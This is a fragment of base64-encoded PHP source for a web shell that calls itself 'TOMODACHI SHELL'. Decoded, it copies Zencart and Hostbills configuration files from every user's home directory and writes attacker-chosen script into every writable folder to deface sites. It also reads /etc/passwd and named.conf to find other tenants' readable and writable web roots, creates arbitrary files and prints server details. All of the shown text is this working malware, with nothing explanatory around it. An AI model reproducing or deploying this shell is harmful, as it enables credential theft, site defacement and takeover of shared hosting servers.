iAnWmVuY2FydCcsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAnWmVuY2FydCcsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAnWmVuY2FydCcsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAnSG9zdGJpbGxzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvaG9zdGJpbGxzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAnSG9zdGJpbGxzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvaG9zdC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gJ0hvc3RiaWxscycsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL0hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICdIb3N0YmlsbHMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICdIb3N0YmlsbHMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9zdXBwb3J0L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAnSG9zdGJpbGxzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvaG9zdGluZy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gJ0hvc3RiaWxscycsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICdIb3N0YmlsbHMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9vcmRlci9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gJ0hvc3RiaWxscycsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NsaWVudC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gJ0hvc3RiaWxscycsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NsaWVudHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICdIb3N0YmlsbHMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9jbGllbnRlL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAnSG9zdGJpbGxzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvY2xpZW50ZXMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICdIb3N0YmlsbHMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9iaWxsaW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAnSG9zdGJpbGxzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvYmlsbGluZ3MvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICdIb3N0YmlsbHMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9teS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gJ0hvc3RiaWxscycsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3NlY3VyZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gJ0hvc3RiaWxscycsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3N1cHBvcnQvb3JkZXIvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICdIb3N0YmlsbHMnLA0KICAgICAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZ3JhYl9jb25maWcgYXMgJGNvbmZpZyA9PiAkbmFtYV9jb25maWcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhbWJpbF9jb25maWcgPSBmaWxlX2dldF9jb250ZW50cygkY29uZmlnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYW1iaWxfY29uZmlnID09ICcnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlX2NvbmZpZyA9IGZvcGVuKCJ0b21vZGFjaGlfY29uZmlnLyR1c2VyX2Nvbi0kbmFtYV9jb25maWcudHh0IiwgJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZpbGVfY29uZmlnLCAkYW1iaWxfY29uZmlnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICI8Y2VudGVyPjxhIGhyZWY9Jz9wYXRoPSRsb2thc2kvdG9tb2RhY2hpX2NvbmZpZyc+PGZvbnQgY29sb3I9bGltZT5Eb25lPC9mb250PjwvYT48L2NlbnRlcj4iOw0KICAgIGV4aXQ7DQoNCn0gZWxzZWlmICgkX1JFUVVFU1RbJ21hc3MnXSA9PSAidG9tb2RhY2hpIikgew0KCWZ1bmN0aW9uIHNhYnVuX21hc3NhbCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgew0KCQlpZihpc193cml0YWJsZSgkZGlyKSkgew0KCQkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOw0KCQkJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgew0KCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJCSRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOw0KCQkJCWlmKCRkaXJiID09PSAnLicpIHsNCgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7DQoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7DQoJCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsNCgkJCQkJCQllY2hvICIkbG9rYXNpPGJyPiI7DQoJCQkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCQkJCSRpZHggPSBzYWJ1bl9tYXNzYWwoJGRpcmMsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCglmdW5jdGlvbiBzYWJ1bl9iaWFzYSgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgew0KCQlpZihpc193cml0YWJsZSgkZGlyKSkgew0KCQkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOw0KCQkJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgew0KCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJCSRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOw0KCQkJCWlmKCRkaXJiID09PSAnLicpIHsNCgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7DQoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7DQoJCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsNCgkJCQkJCQllY2hvICIkZGlyYi8kbmFtYWZpbGU8YnI+IjsNCgkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJaWYoJF9QT1NUWydzdGFydCddKSB7DQoJCWlmKCRfUE9TVFsndGlwZV9zYWJ1biddID09ICdtYWhhbCcpIHsNCgkJCWVjaG8gIjxkaXYgc3R5bGU9J21hcmdpbjogNXB4IGF1dG87IHBhZGRpbmc6IDVweCc+IjsNCgkJCXNhYnVuX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOw0KCQkJZWNobyAiPC9kaXY+IjsNCgkJfSBlbHNlaWYoJF9QT1NUWyd0aXBlX3NhYnVuJ10gPT0gJ211cmFoJykgew0KCQkJZWNobyAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOw0KCQkJc2FidW5fYmlhc2EoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsNCgkJCWVjaG8gIjwvZGl2PiI7DQoJCX0NCn0gZWxzZSB7DQoJZWNobyAiPGNlbnRlcj4iOw0KCWVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogOyc+VGlwZSBTYWJ1bjo8L2ZvbnQ+PGJyPg0KCTxpbnB1dCB0eXBlPSdyYWRpbycgbmFtZT0ndGlwZV9zYWJ1bicgdmFsdWU9J211cmFoJyBjaGVja2VkPkJpYXNhPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSd0aXBlX3NhYnVuJyB2YWx1ZT0nbWFoYWwnPk1hc3NhbDxicj48YnI+DQoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogOyc+RGlyZWN0b3J5OjwvZm9udD48YnI+DQoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJGxva2FzaScgc3R5bGU9J3dpZHRoOiA0NTBweDtoZWlnaHQ6IDIwcHg7Jz48YnI+DQoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogOyc+TmFtYSBGaWxlOjwvZm9udD48YnI+DQoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgdmFsdWU9Jycgc3R5bGU9J3dpZHRoOiA0NTBweDtoZWlnaHQ6IDIwcHg7JyBwbGFjZWhvbGRlcj0naXNpIG5pY2tuYW1lJz48YnI+DQoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogOyc+SXNpIEZpbGU6PC9mb250Pjxicj4NCgk8dGV4dGFyZWEgbmFtZT0nc2NyaXB0JyBzdHlsZT0nd2lkdGg6IDYwMHB4OyBoZWlnaHQ6IDI1MHB4OycgcGxhY2Vob2xkZXI9J2lzaSBzY3JpcHQnPjwvdGV4dGFyZWE+PGJyPg0KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidXR0b24nIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nU2lrYXQhIScgc3R5bGU9J3dpZHRoOiA0NTBweDsnPg0KCTwvZm9ybT48L2NlbnRlcj48YnI+IjsNCn0NCmV4aXQ7DQp9IGVsc2VpZigkX0dFVFsnanVtcCddID09ICd0b21vZGFjaGknKSB7DQoJJGkgPSAwOw0KCWVjaG8gIjxjZW50ZXI+SnVtcGluZyBzZXJ2ZXI8Y2VudGVyPjxicj4JPGRpdiBjbGFzcz0nbWFyZ2luOiA1cHggYXV0bzsnPiI7DQoJaWYocHJlZ19tYXRjaCgiL2hzcGhlcmUvIiwgJGRpcikpIHsNCgkJJHVybHMgPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1cmwnXSk7DQoJCWlmKGlzc2V0KCRfUE9TVFsnanVtcCddKSkgew0KCQkJZWNobyAiPHByZT4iOw0KCQkJZm9yZWFjaCgkdXJscyBhcyAkdXJsKSB7DQoJCQkJJHVybCA9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwOi8vIiwid3d3LiIpLCAiIiwgc3RydG9sb3dlcigkdXJsKSk7DQoJCQkJJGV0YyA9ICIvZXRjL3Bhc3N3ZCI7DQoJCQkJJGYgPSBmb3BlbigkZXRjLCJyIik7DQoJCQkJd2hpbGUoJGdldHMgPSBmZ2V0cygkZikpIHsNCgkJCQkJJHBlY2FoID0gZXhwbG9kZSgiOiIsICRnZXRzKTsNCgkJCQkJJHVzZXIgPSAkcGVjYWhbMF07DQoJCQkJCSRkaXJfdXNlciA9ICIvaHNwaGVyZS9sb2NhbC9ob21lLyR1c2VyIjsNCgkJCQkJaWYoaXNfZGlyKCRkaXJfdXNlcikgPT09IHRydWUpIHsNCgkJCQkJCSR1cmxfdXNlciA9ICRkaXJfdXNlci4iLyIuJHVybDsNCgkJCQkJCWlmKGlzX3JlYWRhYmxlKCR1cmxfdXNlcikpIHsNCgkJCQkJCQkkaSsrOw0KCQkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+UjwvZm9udD5dIDxhIGhyZWY9Jz9wYXRoPSR1cmxfdXNlcic+PGZvbnQgY29sb3I9Z29sZD4kdXJsX3VzZXI8L2ZvbnQ+PC9hPiI7DQoJCQkJCQkJaWYoaXNfd3JpdGFibGUoJHVybF91c2VyKSkgew0KCQkJCQkJCQkkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP3BhdGg9JHVybF91c2VyJz48Zm9udCBjb2xvcj1nb2xkPiR1cmxfdXNlcjwvZm9udD48L2E+IjsNCgkJCQkJCQl9DQoJCQkJCQkJZWNobyAkanJ3LiI8YnI+IjsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJaWYoJGkgPT0gMCkgeyANCgkJfSBlbHNlIHsNCgkJCWVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuJGlwOw0KCQl9DQoJCWVjaG8gIjwvcHJlPiI7DQoJCX0gZWxzZSB7DQoJCQllY2hvICc8Y2VudGVyPg0KCQkJCSAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCgkJCQkgIExpc3QgRG9tYWluczogPGJyPg0KCQkJCSAgPHRleHRhcmVhIG5hbWU9InVybCIgc3R5bGU9IndpZHRoOiA1MDBweDsgaGVpZ2h0OiAyNTBweDsiPic7DQoJCQkkZnAgPSBmb3BlbigiL2hzcGhlcmUvbG9jYWwvY29uZmlnL2h0dHBkL3NpdGVzL3NpdGVzLnR4dCIsInIiKTsNCgkJCXdoaWxlKCRnZXRzcyA9IGZnZXRzKCRmcCkpIHsNCgkJCQllY2hvICRnZXRzczsNCgkJCX0NCgkJCWVjaG8gICc8L3RleHRhcmVhPjxicj4NCgkJCQkgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJKdW1waW5nIiBuYW1lPSJqdW1wIiBzdHlsZT0id2lkdGg6IDUwMHB4OyBoZWlnaHQ6IDI1cHg7Ij4NCgkJCQkgIDwvZm9ybT48L2NlbnRlcj4nOw0KCQl9DQoJfSBlbHNlaWYocHJlZ19tYXRjaCgiL3Zob3N0c3x2aG9zdC8iLCAkZGlyKSkgew0KCQlwcmVnX21hdGNoKCIvXC92YXJcL3d3d1wvKC4qPylcLy8iLCAkZGlyLCAkdmgpOw0KCQkkdXJscyA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3VybCddKTsNCgkJaWYoaXNzZXQoJF9QT1NUWydqdW1wJ10pKSB7DQoJCQllY2hvICI8cHJlPiI7DQoJCQlmb3JlYWNoKCR1cmxzIGFzICR1cmwpIHsNCgkJCQkkdXJsID0gc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJHVybCk7DQoJCQkJJHdlYl92aCA9ICIvdmFyL3d3dy8iLiR2aFsxXS4iLyR1cmwvaHR0cGRvY3MiOw0KCQkJCWlmKGlzX2Rpcigkd2ViX3ZoKSA9PT0gdHJ1ZSkgew0KCQkJCQlpZihpc19yZWFkYWJsZSgkd2ViX3ZoKSkgew0KCQkJCQkJJGkrKzsNCgkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+UjwvZm9udD5dIDxhIGhyZWY9Jz9wYXRoPSR3ZWJfdmgnPjxmb250IGNvbG9yPWdvbGQ+JHdlYl92aDwvZm9udD48L2E+IjsNCgkJCQkJCWlmKGlzX3dyaXRhYmxlKCR3ZWJfdmgpKSB7DQoJCQkJCQkJJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SVzwvZm9udD5dIDxhIGhyZWY9Jz9wYXRoPSR3ZWJfdmgnPjxmb250IGNvbG9yPWdvbGQ+JHdlYl92aDwvZm9udD48L2E+IjsNCgkJCQkJCX0NCgkJCQkJCWVjaG8gJGpydy4iPGJyPiI7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCWlmKCRpID09IDApIHsgDQoJCX0gZWxzZSB7DQoJCQllY2hvICI8YnI+VG90YWwgYWRhICIuJGkuIiBLYW1hciBkaSAiLiRpcDsNCgkJfQ0KCQllY2hvICI8L3ByZT4iOw0KCQl9IGVsc2Ugew0KCQkJZWNobyAnPGNlbnRlcj4NCgkJCQkgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQoJCQkJICBMaXN0IERvbWFpbnM6IDxicj4NCgkJCQkgIDx0ZXh0YXJlYSBuYW1lPSJ1cmwiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjUwcHg7Ij4nOw0KCQkJCSAgYmluZygiaXA6JGlwIik7DQoJCQllY2hvICAnPC90ZXh0YXJlYT48YnI+DQoJCQkJICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iSnVtcGluZyIgbmFtZT0ianVtcCIgc3R5bGU9IndpZHRoOiA1MDBweDsgaGVpZ2h0OiAyNXB4OyI+DQoJCQkJICA8L2Zvcm0+PC9jZW50ZXI+JzsNCgkJfQ0KCX0gZWxzZSB7DQoJCWVjaG8gIjxwcmU+IjsNCgkJJGV0YyA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIikgb3IgZGllKCI8Y2VudGVyPjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PjwvY2VudGVyPiIpOw0KCQl3aGlsZSgkcGFzc3dkID0gZmdldHMoJGV0YykpIHsNCgkJCWlmKCRwYXNzd2QgPT0gJycgfHwgISRldGMpIHsNCgkJCQllY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PjwvY2VudGVyPiI7DQoJCQl9IGVsc2Ugew0KCQkJCXByZWdfbWF0Y2hfYWxsKCcvKC4qPyk6eDovJywgJHBhc3N3ZCwgJHVzZXJfanVtcGluZyk7DQoJCQkJZm9yZWFjaCgkdXNlcl9qdW1waW5nWzFdIGFzICR1c2VyX2lkeF9qdW1wKSB7DQoJCQkJCSR1c2VyX2p1bXBpbmdfZGlyID0gIi9ob21lLyR1c2VyX2lkeF9qdW1wL3B1YmxpY19odG1sIjsNCgkJCQkJaWYoaXNfcmVhZGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7DQoJCQkJCQkkaSsrOw0KCQkJCQkJJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SPC9mb250Pl0gPGEgaHJlZj0nP3BhdGg9JHVzZXJfanVtcGluZ19kaXInPjxmb250IGNvbG9yPWdvbGQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7DQoJCQkJCQlpZihpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCgkJCQkJCQkkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP3BhdGg9JHVzZXJfanVtcGluZ19kaXInPjxmb250IGNvbG9yPWdvbGQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7DQoJCQkJCQl9DQoJCQkJCQllY2hvICRqcnc7DQoJCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsNCgkJCQkJCQkkZG9tYWluX2p1bXAgPSBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7CQ0KCQkJCQkJCWlmKCRkb21haW5fanVtcCA9PSAnJykgew0KCQkJCQkJCQllY2hvICIgPT4gKCA8Zm9udCBjb2xvcj1yZWQ+Z2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YTwvZm9udD4gKTxicj4iOw0KCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIjL3Zhci9uYW1lZC8oLio/KS5kYiMiLCAkZG9tYWluX2p1bXAsICRkb21haW5zX2p1bXApOw0KCQkJCQkJCQlmb3JlYWNoKCRkb21haW5zX2p1bXBbMV0gYXMgJGRqKSB7DQoJCQkJCQkJCQkkdXNlcl9qdW1waW5nX3VybCA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvJGRqIikpOw0KCQkJCQkJCQkJJHVzZXJfanVtcGluZ191cmwgPSAkdXNlcl9qdW1waW5nX3VybFsnbmFtZSddOw0KCQkJCQkJCQkJaWYoJHVzZXJfanVtcGluZ191cmwgPT0gJHVzZXJfaWR4X2p1bXApIHsNCgkJCQkJCQkJCQllY2hvICIgPT4gKCA8dT4kZGo8L3U+ICk8YnI+IjsNCgkJCQkJCQkJCQlicmVhazsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJfQ0KCQkJCQkJCX0NCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJZWNobyAiPGJyPiI7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgkJaWYoJGkgPT0gMCkgeyANCgkJfSBlbHNlIHsNCgkJCWVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuJGlwOw0KCQl9DQoJCWVjaG8gIjwvcHJlPiI7DQoJfQ0KCQ0KCWVjaG8gIjwvZGl2PiI7fQ0KCWVsc2VpZiAoJF9SRVFVRVNUWydhYm91dCddID09ICJ0b21vZGFjaGkiKSB7DQoJCWVjaG8gIjxocj48Y2VudGVyPkFib3V0IE1lPGJyPjxicj4iOw0KCQllY2hvICJUT01PREFDSEkgU0hFTEwgZnJvbSBUZW1wZXN0IEhhY2tlciI7DQp9DQoNCgllbHNlaWYgKCRfUkVRVUVTVFsnYnVhdGZpbGUnXSA9PSAidG9tb2RhY2hpIikgew0KCQllY2hvICI8Y2VudGVyPg0KICAgIDxmb3JtIG1ldGhvZD0nUE9TVCc+DQogICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sJyB2YWx1ZT0nJGxva2FzaS9maWxla2FtdS5waHAnIHN0eWxlPSd3aWR0aDogNDAwcHg7JyBuYW1lPSduYW1hX2ZpbGUnIGF1dG9jb21wbGV0ZT0nb2ZmJyBwbGFjZWhvbGRlcj0nTmFtYSBGaWxlLi4uJz48YnI+PGJyLz4NCiAgICAgICAgPHRleHRhcmVhIG5hbWU9J2lzaV9maWxlJyBjbGFzcz0nZm9ybS1jb250cm9sJyByb3dzPScxNScgY29scz0nNzAnIHBsYWNlaG9sZGVyPSdJc2kgRmlsZS4uLic+PC90ZXh0YXJlYT48YnIvPg0KICAgICAgICA8YnV0dG9uIHR5cGU9J3N1bWJpdCcgY2xhc3M9J2J1dHRvbicgbmFtZT0nYmlraW4nPkJpa2luISE8L2J1dHRvbj48YnI+PGJyLz4NCiAgICA8L2Zvcm0+PC9jZW50ZXI+IjsNCg0KICAgIGlmIChpc3NldCgkX1BPU1RbJ2Jpa2luJ10pKSB7DQogICAgICAgICRuYW1hX2ZpbGUgPSAkX1BPU1RbJ25hbWFfZmlsZSddOw0KICAgICAgICAkaXNpX2ZpbGUgPSAkX1BPU1RbJ2lzaV9maWxlJ107DQogICAgICAgICRoYW5kbGUgPSBmb3BlbigiJG5hbWFfZmlsZSIsICd3Jyk7DQoNCiAgICAgICAgaWYgKGZ3cml0ZSgkaGFuZGxlLCAkaXNpX2ZpbGUpKSB7DQogICAgICAgICAgICBlY2hvICc8Y2VudGVyPkZpbGUgQmVyaGFzaWwgZGlidWF0ICEhJm5ic3A7PGZvbnQgY29sb3I9ImdvbGQiPjxpPicuJG5hbWFfZmlsZS4nPC9pPjwvZm9udD48YnI+PGJyPjwvY2VudGVyPic7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlY2hvICc8c2NyaXB0PmFsZXJ0KCJGaWxlIEdhZ2FsIERpYnVhdCIpOzwvc2NyaXB0Pic7DQogICAgICAgIH0NCiAgICB9DQp9DQplbHNlaWYgKCRfUkVRVUVTVFsnaW5mbyddID09ICJ0b21vZGFjaGkiKSB7DQoJZWNobyAiPGJyPjxocj4iOw0KCWVjaG8gIlNlcnZlciBJUCA6IDxmb250IGNvbG9yPWdvbGQ+Ii5pcHNlcnYoKS4iPC9mb250PiAmbmJzcDsvJm5ic3A7IFlvdXIgSVAgOiA8Zm9udCBjb2xvcj1nb2xkPiIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uIjwvZm9udD48YnI+IjsNCgllY2hvICJXZWIgU2VydmVyIDogPGZvbnQgY29sb3I9J2dvbGQnPiIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiI8L2ZvbnQ+PGJyPiI7DQoJZWNobyAiU3lzdGVtIDogPGZvbnQgY29sb3I9J2dvbGQnPiIucGhwX3VuYW1lKCkuIjwvZm9udD48YnI+IjsNCgllY2hvICJVc2VyIDogPGZvbnQgY29sb3I9J2dvbGQnPiIuQGdldF9jdXJyZW50X3VzZXIoKS4iJm5ic3A7PC9mb250PiggPGZvbnQgY29sb3I9J2dvbGQnPiIuQGdldG15dWlkKCkuIjwvZm9udD4pPGJyPiI7DQoJZWNobyAiUEhQIFZlcnNpb24gOiA8Zm9udCBjb2xvcj0nZ29sZCc+Ii5AcGhwdmVyc2lvbigpLiI8L2ZvbnQ+PGJyPiI7DQoJZWNobyAiRGlzYWJsZSBGdW5jdGlvbiA6ICIuJGRpc2YuIjwvZm9udD48YnI+IjsNCgllY2hvICJNeVNRTCA6ICI7DQoJZWNobyAiPGhyPjxicj4iO30NCg0KDQppZiAoIWlzX3JlYWRhYmxlKCRsb2thc2kpKSB7DQogICAgZGllKCI8Y2VudGVyPlRoaXMgZGlyZWN0b3J5IGlzIHVucmVhZGFibGUgOig8L2NlbnRlcj4iKTsNCn0NCg0KZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQo8dHIgY2xhc3M9ImZpcnN0Ij4NCjx0ZD48Y2VudGVyPk5hbWU8L2NlbnRlcj48L3RkPg0KPHRkPjxjZW50ZXI+U2l6ZTwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5MYXN0IE1vZGlmaWVkPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPk93bmVyPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPlBlcm1pc3Npb25zPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPk9wdGlvbnM8L2NlbnRlcj48L3RkPg0KPC90cj4nOw0KDQpmb3JlYWNoKCRsb2thc2lueWEgYXMgJGRpcil7DQogICAgaWYoIWlzX2RpcigkbG9rYXNpLiIvIi4kZGlyKSB8fCAkZGlyID09ICcuJykgY29udGludWU7DQogICAgZWNobyAiPHRyPg0KICAgIDx0ZD48aSBjbGFzcz0nZmEgZmEtZm9sZGVyJyBzdHlsZT0nY29sb3I6ICNmZmU5YTInPjwvaT4gPGEgaHJlZj1cIj9wYXRoPSIuJGxva2FzaS4iLyIuJGRpci4iXCI+Ii4kZGlyLiI8L2E+PC90ZD4NCiAgICA8dGQ+PGNlbnRlcj4tLTwvY2VudGVyPjwvdGQ+DQogICAgPHRkPjxjZW50ZXI+Ii5maWxlZGF0ZSgkbG9rYXNpLiIvIi4kZGlyKS4iPC9jZW50ZXI+PC90ZD4NCiAgICA8d